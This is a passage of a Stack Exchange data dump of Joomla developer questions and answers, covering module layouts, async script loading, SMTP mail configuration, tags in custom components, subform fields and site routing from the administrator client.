  <row Id="33672" PostTypeId="2" ParentId="33670" CreationDate="2024-02-16T11:49:53.550" Score="0" Body="&lt;p&gt;Nevermind - I've found now the Modulelayout.php file and row 145 explains what happens:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$text = $lang-&amp;gt;hasKey($key = strtoupper($module . '_LAYOUT_' . $value)) ? Text::_($key) : $value;&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So there needs to be a language key setted up in the correct format like &lt;code&gt;MOD_MODULENAME_LAYOUT_*FILENAME*=&amp;quot;Your Name&amp;quot;&lt;/code&gt; in the modules language file.&lt;/p&gt;&#xA;&lt;p&gt;I've updated the docs...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2024-02-16T12:11:29.280" LastActivityDate="2024-02-16T12:11:29.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33673" PostTypeId="1" CreationDate="2024-02-17T17:42:14.167" Score="1" ViewCount="71" Body="&lt;p&gt;I got an iframe to insert googlemap on.my site. but I would need to give it the async attribute.  hoping it can be done.&lt;/p&gt;&#xA;&lt;p&gt;how can I do? the idea was to put the code in a wrapper module or a custom module, but I don't know how to add the async.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="17635" LastActivityDate="2024-04-03T18:52:02.527" Title="Add async attribute to iframe google maps" Tags="|google|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33674" PostTypeId="2" ParentId="33667" CreationDate="2024-02-18T15:29:43.147" Score="0" Body="&lt;p&gt;Stupid schoolboy error by myself. Just in case anyone else does this I found I had&#xA;&lt;code&gt;Factory::getApplication()-&amp;gt;getInput()-&amp;gt;set('hidemainmenu', true); &lt;/code&gt; set in the view code and it took me ages to spot it in the middle of a block of useful code.&#xA;The perils of copy and paste combined with word blindness when comparing with a working view. :Doh:&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-02-18T15:29:43.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33676" PostTypeId="2" ParentId="33662" CreationDate="2024-02-19T14:27:59.540" Score="0" Body="&lt;p&gt;After further investigation into the issue, it would appear that with the current Joomla core coding of subforms, it is NOT possible to dynamically change the field properties of the fields in the child fieldset for existing data sets. If you add a new child fields set or the child fieldset doesn't have any data in it, then the fields in the child fieldset DO show the fields as modified in the plugin!!&lt;/p&gt;&#xA;&lt;p&gt;Why this inconsistent difference in behaviour? The honest answer is I don't know. Both the functions loadSubForm() and loadSubFormData() and use the $this-&amp;gt;formsource to define the fields in the child fieldset. In the case of loadSubForm(), when it loads $this-&amp;gt;formsource, the modified XML elements are available, whereas when loadSubFormData() is called, the XML elements are from the original field file. Can anyone explain why?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2024-02-19T14:27:59.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33677" PostTypeId="2" ParentId="33673" CreationDate="2024-02-23T10:12:02.787" Score="0" Body="&lt;p&gt;The best way is to use the Joomla Web Asset Manager, described &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/web-asset-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You define your javascript dependency in a &lt;code&gt;joomla.asset.json&lt;/code&gt; file, and include your async attribute that way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;attributes&amp;quot;: {&#xA;    &amp;quot;async&amp;quot;: true&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should put this file and the javascript file inside the /media folder via your module installation xml file, eg:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&amp;quot;mod_mymodule&amp;quot; folder=&amp;quot;media&amp;quot;&amp;gt;&#xA;    &amp;lt;filename&amp;gt;joomla.asset.json&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're using a custom module then you'll need to tell Joomla to load that &lt;code&gt;joomla.asset.json&lt;/code&gt; file, as it won't do it automatically. As described on that same page you can do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;$wr = $wa-&amp;gt;getRegistry();&#xA;$wr-&amp;gt;addRegistryFile('relative/path/to/your/joomla.asset.json');&#xA;// eg $wr-&amp;gt;addRegistryFile('media/mod_mymodule/joomla.asset.json');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're not familiar with the web asset manager then &lt;a href=&quot;https://youtu.be/QCtfJLsArF4&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; might help.&lt;/p&gt;&#xA;&lt;p&gt;If you really want to use the old way of adding javascript then you can include in your module code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$document = Factory::getDocument();&#xA;$document-&amp;gt;addScript(&amp;quot;...demo.js&amp;quot;, array(), array('async'=&amp;gt;'async'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding JavaScript and CSS to the page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-02-23T10:12:02.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33678" PostTypeId="1" CreationDate="2024-02-23T21:25:24.447" Score="0" ViewCount="50" Body="&lt;p&gt;I have 3 sites on Ionos hosts running Joomla 4.4.2, almost up to date.  The Global Config page &amp;quot;Send Test Mail&amp;quot; works fine with sendmail or php mail options on two of the sites.  The third one, which is the largest, always returns the &amp;quot;could not execute /usr/sbin/sendmail&amp;quot; or similar php mail message.  Outwardly, the setup of the 3 sites seems very similar.  I compared their configuration.php files, finding only minor differences. The problem system is on a different Ionos server package, as it happens.&lt;/p&gt;&#xA;&lt;p&gt;I've tried variations of the From email setting and other mail options, no joy.  It is not clear to me how Joomla is accessing which system services, or where things are failing. (No detailed message.)  Any tips -- before I dig into the SMTP option?&lt;/p&gt;&#xA;&lt;p&gt;Summary:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla 4.4.2; php 8.1.27;  3 sites on Ionos platforms.&lt;/li&gt;&#xA;&lt;li&gt;Send test Mail works ok on 2 of them. (Sendmail or php)&lt;/li&gt;&#xA;&lt;li&gt;3rd platform gives &amp;quot;Could not execute: /usr/sbin/sendmail&amp;quot; response.&lt;/li&gt;&#xA;&lt;li&gt;All configuration files identical, nearly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What factors (DNS, email servers, etc.) will produce the error response?&lt;/li&gt;&#xA;&lt;li&gt;How to debug such a failure?  (I don't find anything in logs.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17647" LastActivityDate="2024-02-25T16:06:46.907" Title="Send Test Mail fails on J4.4.2: &quot;Could not execute: /usr/sbin/sendmail&quot;, similar problem with phpmail" Tags="|joomla-4.x|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33679" PostTypeId="1" AcceptedAnswerId="33683" CreationDate="2024-02-24T12:06:17.807" Score="1" ViewCount="29" Body="&lt;p&gt;Knows someone a good guide on how to implement the TAGS feature into a Custom J4/5 Component?&#xA;I have this information from Astrid's Book on how to develop J4 Components but it looks not fully correct to me (uses old syntax at least for the table).&lt;/p&gt;&#xA;&lt;h1&gt;What I've tried (multiple times)&lt;/h1&gt;&#xA;&lt;p&gt;script.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;private function saveContentTypes()&#xA;    {&#xA;//      $app = Factory::getApplication();&#xA;//      $table = $app-&amp;gt;bootComponent('com_tags')&#xA;//          -&amp;gt;getMVCFactory()&#xA;//          -&amp;gt;createTable('Contenttype');&#xA;&#xA;        $table = Table::getInstance('Contenttype', 'JTable'); // &amp;lt;&amp;lt; Old way should be replaced by above or not?&#xA;&#xA;&#xA;        $table-&amp;gt;load(['type_alias' =&amp;gt; 'com_component.question']); // will fail on new way (commented above)&#xA;&#xA;        $tableStringContentObj                   = new stdClass();&#xA;        $tableStringContentObj-&amp;gt;special          = new stdClass();&#xA;        $tableStringContentObj-&amp;gt;special-&amp;gt;dbtable = '#__com_component_questions';&#xA;        $tableStringContentObj-&amp;gt;special-&amp;gt;key     = 'id';&#xA;        $tableStringContentObj-&amp;gt;special-&amp;gt;type    = '[COMPONENTNAME]QuestionTable';&#xA;        $tableStringContentObj-&amp;gt;special-&amp;gt;prefix  = 'NXD\\Component\\[COMPONENTNAME]\\Administrator\\Table\\';&#xA;        $tableStringContentObj-&amp;gt;special-&amp;gt;config  = 'array()';&#xA;        $tableStringContentObj-&amp;gt;common           = new stdClass();&#xA;        $tableStringContentObj-&amp;gt;common-&amp;gt;dbtable  = '#__ucm_content';&#xA;        $tableStringContentObj-&amp;gt;common-&amp;gt;key      = 'ucm_id';&#xA;        $tableStringContentObj-&amp;gt;common-&amp;gt;type     = 'Corecontent';&#xA;        $tableStringContentObj-&amp;gt;common-&amp;gt;prefix   = 'Joomla\\CMS\\Table'; // was JTable&#xA;        $tableStringContentObj-&amp;gt;common-&amp;gt;config   = 'array()';&#xA;        $tableString                             = json_encode($tableStringContentObj);&#xA;&#xA;        $fieldMappingObj                               = new stdClass();&#xA;        $fieldMappingObj-&amp;gt;common                       = new stdClass();&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_content_item_id = 'id';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_title           = 'title';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_state           = 'published';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_alias           = 'alias';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_publish_up      = 'publish_up';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_publish_down    = 'publish_down';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_access          = 'access';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_params          = 'params';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_featured        = 'featured';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_language        = 'language';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_ordering        = 'ordering';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;core_catid           = 'catid';&#xA;        $fieldMappingObj-&amp;gt;common-&amp;gt;asset_id             = 'null';&#xA;        $fieldMappingObj-&amp;gt;special                      = new stdClass();&#xA;        $fieldMapping                                  = json_encode($fieldMappingObj);&#xA;&#xA;&#xA;        $contentType                            = [];&#xA;        $contentType['type_id']                 = ($table-&amp;gt;type_id) ?: 0;&#xA;        $contentType['type_title']              = 'Questions';&#xA;        $contentType['type_alias']              = 'com_component.question';&#xA;        $contentType['table']                   = $tableString;&#xA;        $contentType['rules']                   = '';&#xA;        $contentType['router']                  = 'RouteHelper::getQuestionRoute'; // not yet defined but shouldn't be an issue?&#xA;        $contentType['field_mappings']          = $fieldMapping;&#xA;        $contentType['content_history_options'] = '';&#xA;&#xA;        $table-&amp;gt;save($contentType);&#xA;&#xA;        return;&#xA;    }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The row gets added on install and looks good to me (a lot more information then the others but type_alias looks fine) - Note: I'm adding the information by using an object (xyObj) because when typing it as string it writes the format (newlines) also into the table.&lt;/p&gt;&#xA;&lt;p&gt;In the XML Form for Edit Question&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;tag&amp;quot; type=&amp;quot;tag&amp;quot; custom=&amp;quot;true&amp;quot; ... /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The field gets rendered and shows me all Tags of COM_CONTENT.Article that has been setted up already (that shouldn't be the case right?). When trying to add a new tag (type and enter) it does not store the new tag and the field is empty after save.&lt;/p&gt;&#xA;&lt;p&gt;For me it feels like i'm trying to use outdated information on how to implement the Tags functionality...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2024-02-24T12:14:47.807" LastActivityDate="2024-02-25T22:05:51.807" Title="Add Tags Feature to Custom Component" Tags="|joomla-4.x|custom-component|tags|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33682" PostTypeId="2" ParentId="33678" CreationDate="2024-02-25T16:06:46.907" Score="2" Body="&lt;p&gt;Something did change in Joomla's SMTP logic or with my Ionos host account.  Finally fixed by using mailer = SMTP option.  This requires finding out the host's SMTP server address etc.&lt;/p&gt;&#xA;&lt;p&gt;Final info used in Global Configuration &amp;gt; Server J4.4.2:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From Email: webmaster@yoursite.com (or .org, etc.)&lt;/li&gt;&#xA;&lt;li&gt;From Name: Your Site's name (text)&lt;/li&gt;&#xA;&lt;li&gt;Reply To Email, Name: where to send replies from user&lt;/li&gt;&#xA;&lt;li&gt;Mailer: SMTP&lt;/li&gt;&#xA;&lt;li&gt;SMTP Host: smtp.yourservice (in my case, smtp.ionos.com)&lt;/li&gt;&#xA;&lt;li&gt;SMTP Port: 465 (or as needed by host)&lt;/li&gt;&#xA;&lt;li&gt;SMTP Security: SSL/TLS (or as needed by host)&lt;/li&gt;&#xA;&lt;li&gt;SMTP Authentication: Yes&lt;/li&gt;&#xA;&lt;li&gt;SMTP Username: smtpdummy@yoursite.com (or .org etc.)&lt;/li&gt;&#xA;&lt;li&gt;SMTP Password: password for above account&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I created an SMTP username email account that I called smtpdummy@yoursite.org. (Substitute your real site address, of course.)  The password for that account is the one to use as SMTP Password.&lt;/p&gt;&#xA;&lt;p&gt;I could not find help or documentation in Joomla or host server space for this setup!&lt;/p&gt;&#xA;" OwnerUserId="17647" LastActivityDate="2024-02-25T16:06:46.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33683" PostTypeId="2" ParentId="33679" CreationDate="2024-02-25T22:05:51.807" Score="2" Body="&lt;p&gt;The changes necessary for getting the joomla mvc component tutorial working are listed in &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Miscellaneous_Changes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Miscellaneous_Changes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The tags functionality still uses content types, so you'll need to add those as you've done above. As these are used by Version History and by Tags, this is described in the Version History section in that tutorial webpage, so have a look at that section too.&lt;/p&gt;&#xA;&lt;p&gt;You can also download the zip file of the tutorial code from &lt;a href=&quot;https://github.com/robbiejackson/Joomla-4-MVC-Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/robbiejackson/Joomla-4-MVC-Tutorial&lt;/a&gt; to see how it's been done.&lt;/p&gt;&#xA;&lt;p&gt;Section from that tutorial page copied to below:&lt;/p&gt;&#xA;&lt;p&gt;Like version history, tags functionality has been changed to use a plugin – in &lt;code&gt;plugins/behaviour/taggable&lt;/code&gt; – rather than the &lt;code&gt;JTableObserver&lt;/code&gt; approach.&lt;/p&gt;&#xA;&lt;p&gt;To enable tags the component table must implement &lt;code&gt;TaggableTableInterface&lt;/code&gt; (in &lt;code&gt;libraries/src/Tag&lt;/code&gt;), and provide the &lt;code&gt;getTypeAlias()&lt;/code&gt; which is common to the Versioning functionality.&lt;/p&gt;&#xA;&lt;p&gt;Whenever &lt;code&gt;com_tags&lt;/code&gt; outputs helloworld messages or categories relating to a tag it displays them as links, and looks in the &lt;code&gt;site/helpers/route.php&lt;/code&gt; file to find the route functions (as described above in &lt;code&gt;com_tags&lt;/code&gt;). The class and method in this file must match the 'router' field within the data entered into the &lt;code&gt;#__content_types&lt;/code&gt; table.&lt;/p&gt;&#xA;&lt;p&gt;The language constant &lt;code&gt;JTAG_DESC&lt;/code&gt; (used in the XML form file for tags fields) is no longer available.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-02-25T22:05:51.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33684" PostTypeId="1" CreationDate="2024-02-27T10:12:44.993" Score="0" ViewCount="34" Body="&lt;p&gt;In my component i have some plugins (like this one &lt;a href=&quot;https://github.com/Kunena/Kunena-Forum/blob/K6.2/src/plugins/plg_kunena_comprofiler/comprofiler.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Kunena/Kunena-Forum/blob/K6.2/src/plugins/plg_kunena_comprofiler/comprofiler.php&lt;/a&gt;), when there are enabled they cause issues with Akeeba Panopticon. It gives an error when it's enabled, the API Panopticon responds not as expected.&lt;/p&gt;&#xA;&lt;p&gt;Expected results :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;errors&amp;quot;:[{&amp;quot;title&amp;quot;:&amp;quot;Resource not found&amp;quot;,&amp;quot;code&amp;quot;:404}]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When plugin is enabled :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Unable to handle request for route ``.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How to check the context and avoid the plugins to be loaded everywhere in Joomla! ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2024-02-27T10:12:44.993" Title="Check context of plugins to avoid to be loaded everywhere in Joomla!" Tags="|joomla-4.x|joomla-5.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33685" PostTypeId="1" CreationDate="2024-02-27T17:57:07.297" Score="0" ViewCount="22" Body="&lt;p&gt;If I have a subform with the following xml structure&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&#xA;        name=&amp;quot;advkontentuser&amp;quot;&#xA;    &amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;akuser&amp;quot; label=&amp;quot;ADVKONTENT_USER_EDIT_FORM&amp;quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;akprofile&amp;quot;&#xA;                type=&amp;quot;subform&amp;quot;&#xA;                label=&amp;quot;AdvKontent User Profile&amp;quot;&#xA;                multiple=&amp;quot;true&amp;quot;&#xA;                min=&amp;quot;1&amp;quot;&#xA;                max=&amp;quot;10&amp;quot;&#xA;                groupByFieldset=&amp;quot;true&amp;quot;&#xA;                layout=&amp;quot;joomla.form.field.subform.repeatable&amp;quot;&#xA;                &amp;gt;&#xA;                &amp;lt;form addfieldprefix=&amp;quot;DeAnima\Component\AdvKontent\Administrator\Field&amp;quot;&amp;gt;&#xA;                    &amp;lt;fieldset name=&amp;quot;advkontent-user&amp;quot;&amp;gt;&#xA;                        &amp;lt;fields name=&amp;quot;details&amp;quot;&amp;gt;&#xA;                            &amp;lt;field&#xA;                                name=&amp;quot;userName&amp;quot;&#xA;                                type=&amp;quot;text&amp;quot;&#xA;                                label=&amp;quot;ADVKONTENT_NAME&amp;quot;&#xA;                                required=&amp;quot;true&amp;quot;&#xA;                                labelclass=&amp;quot;advkontentui-field-label&amp;quot;&#xA;                                maxlength=&amp;quot;250&amp;quot;&#xA;                                class=&amp;quot;advkontentui-field-value&amp;quot;&#xA;                            /&amp;gt;&#xA;                            &amp;lt;field&#xA;                                name=&amp;quot;gender&amp;quot;&#xA;                                type=&amp;quot;radio&amp;quot;&#xA;                                default=&amp;quot;n&amp;quot;&#xA;                                label=&amp;quot;ADVKONTENT_GENDER&amp;quot;&#xA;                                labelClass=&amp;quot;advkontentui-field-label&amp;quot;&#xA;                                class=&amp;quot;advkontentui-field-value advkontentui-button-set&amp;quot;&#xA;                            &amp;gt;&#xA;                                &amp;lt;option value=&amp;quot;n&amp;quot;&amp;gt;ADVKONTENT_NOT_SPECIFIED&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&amp;quot;m&amp;quot;&amp;gt;ADVKONTENT_MALE&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&amp;quot;f&amp;quot;&amp;gt;ADVKONTENT_FEMALE&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/field&amp;gt;&#xA;                        &amp;lt;/fields&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is it possible to add fields dynamically to the fieldset &amp;quot;advkontent-user&amp;quot; as described in  the &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide#Dynamically_Setting_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla document&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've tried the following code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFields($uepSubformFields, 'akprofile', 'false', 'advkontent-user');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However it's not adding anything. Are the values for the group and fieldset correct?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2024-03-29T06:06:30.893" Title="Is it possible to dynamically set fields on subforms" Tags="|form|xml|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33686" PostTypeId="1" CreationDate="2024-02-28T03:22:06.293" Score="0" ViewCount="17" Body="&lt;p&gt;I have shopping cart components that have multiple categories (about 20–30 links) and I would like to create a menu in Joomla that links to all categories individually. Is there a way to batch-create multiple menu links at a time instead of adding them one by one? Any recommended plugin or module we can use to do so?&lt;/p&gt;&#xA;" OwnerUserId="17503" LastActivityDate="2024-02-28T05:30:31.323" Title="Creating Multiple Menu at a time" Tags="|menu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33687" PostTypeId="2" ParentId="33686" CreationDate="2024-02-28T05:30:31.323" Score="1" Body="&lt;p&gt;There are some &lt;a href=&quot;https://extensions.joomla.org/tags/mass-content&quot; rel=&quot;nofollow noreferrer&quot;&gt;mass content extensions in the Joomla Extension Directory&lt;/a&gt; such as the free OSContent component but I am not sure which of these will create menu options for third party extensions.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2024-02-28T05:30:31.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33688" PostTypeId="2" ParentId="33685" CreationDate="2024-02-28T05:56:35.847" Score="0" Body="&lt;p&gt;Looking at the code in &lt;code&gt;../libraries/src/Form/Form.php&lt;/code&gt; the &lt;code&gt;setFields()&lt;/code&gt; function is a wrapper function to loop through &lt;code&gt;setField()&lt;/code&gt; starting at line #781, both of which reject any bad xml syntax. Check first that your xml you are trying to introduce is valid xml.&lt;/p&gt;&#xA;&lt;p&gt;I would also suggest your try adding just one new sub form element using &lt;code&gt;setField()&lt;/code&gt; rather than &lt;code&gt;setFields()&lt;/code&gt; until you can confirm something that works.&lt;/p&gt;&#xA;&lt;p&gt;And I would then step through each line of code in &lt;code&gt;SetField()&lt;/code&gt; with a Debugger to identify whether your Sub form is being found or not.&lt;/p&gt;&#xA;&lt;p&gt;Looking in Github at &lt;code&gt;findFields()&lt;/code&gt; and related functions that &lt;code&gt;setField()&lt;/code&gt; relies on, there doesn't appear to be much code changed since 13-14 years ago, excluding clean ups, with only one mention I could find of a change relating to sub forms so I wouldn't be surprised if adding fields to sub-forms is not yet introduced at a code level in &lt;code&gt;FindFields()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This should show up in a debug when you see what is returned from &lt;code&gt;findFields()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-02-28T05:56:35.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33689" PostTypeId="1" AcceptedAnswerId="33691" CreationDate="2024-02-28T12:33:57.533" Score="0" ViewCount="37" Body="&lt;p&gt;I am in the process of migrating a large Joomla component from v3.x (with lots of legacy code from 1.5+!) to Joomla 5 at present.&lt;/p&gt;&#xA;&lt;p&gt;One item I have stumbled upon is how best to bootstrap the component's site router for use within the administrator component code. That is, I have the following line within a utility function that is invoked both from within the administrator and site component code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Route::link(&amp;quot;site&amp;quot;, &amp;quot;index.php?option=com_helloworld&amp;amp;view=hellowview&amp;amp;id=123&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At present, I get a &lt;code&gt;No router available for this application.&lt;/code&gt; error message.&lt;/p&gt;&#xA;&lt;p&gt;As far as I can surmise, I have correctly migrated my old router.php file to src/Service/Router.php within the site code and updated it to implement RouterInterface. However, the class is not loaded when in the Adminstrator area and I am not certain what the correct way to get this loaded would be.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2024-02-28T23:14:45.573" Title="Creating site routes from Administrator client" Tags="|php|joomla-4.x|jroute|router|joomla-5.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33690" PostTypeId="1" CreationDate="2024-02-28T16:40:32.670" Score="1" ViewCount="22" Body="&lt;p&gt;Imagine a have a list of content plugins installed on joomla like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Snippets&lt;/li&gt;&#xA;&lt;li&gt;LoadModule&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have an article with the following content:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{snippet id=&amp;quot;1&amp;quot;} {loadmoduleid 1}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I call a webservice to get an article&#xA;&lt;code&gt;localhost/joomla/api/index.php/v1/content/articles/1&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;I get the following response:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;text&amp;quot;: &amp;quot;&amp;lt;p&amp;gt;{snippet id=\&amp;quot;1\&amp;quot;} {loadmoduleid 1}&amp;lt;\/p&amp;gt;&amp;quot;,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is it possible to process plugins before getting this response?&lt;/p&gt;&#xA;" OwnerUserId="14401" LastActivityDate="2024-03-30T09:08:26.030" Title="Is it possible to process content plugins before returning articles in Web Services?" Tags="|joomla-5.x|restful-api|content-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33691" PostTypeId="2" ParentId="33689" CreationDate="2024-02-28T19:36:13.320" Score="2" Body="&lt;p&gt;Corrected Response  ----------------&lt;/p&gt;&#xA;&lt;p&gt;I tried this on a Joomla 4 component which I have and it worked ok, so I reckon you should be able to get it working.&lt;/p&gt;&#xA;&lt;p&gt;That exception gets created in the RouterFactory in libraries/src/Component/Router/RouterFactory.php. It's because it's trying to create the class name from:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$className = trim($this-&amp;gt;namespace, '\\') . '\\' . ucfirst($application-&amp;gt;getName()) . '\\Service\\Router';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the admin site the &lt;code&gt;$application-&amp;gt;getName()&lt;/code&gt; will return 'administrator', so it will build the namespace prefix using \Administrator, and will look for the Service Router class in &lt;code&gt;administrator/components/&amp;lt;your component&amp;gt;/src/Service/Router.php&lt;/code&gt; and thus not find it.&lt;/p&gt;&#xA;&lt;p&gt;You could copy your Router.php to there, and change your &lt;code&gt;namespace&lt;/code&gt; statement in that PHP file to be in the &lt;code&gt;\Administrator&lt;/code&gt; side. Then it would find your class.&lt;/p&gt;&#xA;&lt;p&gt;The alternative is to create the Router class yourself, rather than use the Joomla RouterFactory to create it. In your extension you can provide your own function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function createRouter(CMSApplicationInterface $application, AbstractMenu $menu): RouterInterface&#xA;{&#xA;    return new Router($application, $menu, $this-&amp;gt;categoryFactory, $this-&amp;gt;getDatabase());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where Router points to your site Router class. Then you would use the same Router class for both when you're on the front-end and the back-end.&lt;/p&gt;&#xA;&lt;p&gt;You can see a bit more explanation at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Router&quot; rel=&quot;nofollow 